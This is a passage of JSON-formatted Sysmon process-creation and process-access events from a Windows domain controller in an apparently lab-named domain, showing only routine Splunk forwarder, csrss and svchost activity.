Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.290\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+457e6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+460cb|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+453d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d925|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.290","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","SourceProcessId":"4644","SourceThreadId":"4636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+457e6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+460cb|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+453d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d925|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.307\r\nProcessGuid: {90617006-407A-5F2D-0000-0010E0040500}\r\nProcessId: 4948\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list httpServer --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010C2F50400}\r\nParentProcessId: 4644\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.307","ProcessGuid":"{90617006-407A-5F2D-0000-0010E0040500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list httpServer --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010C2F50400}","ParentProcessId":"4644","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010E0040500}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+17249|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+137ff|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+12176|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+19082|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d94e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","SourceProcessId":"4644","SourceThreadId":"4636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010E0040500}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+17249|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+137ff|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+12176|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+19082|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d94e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010E0040500}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010E0040500}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 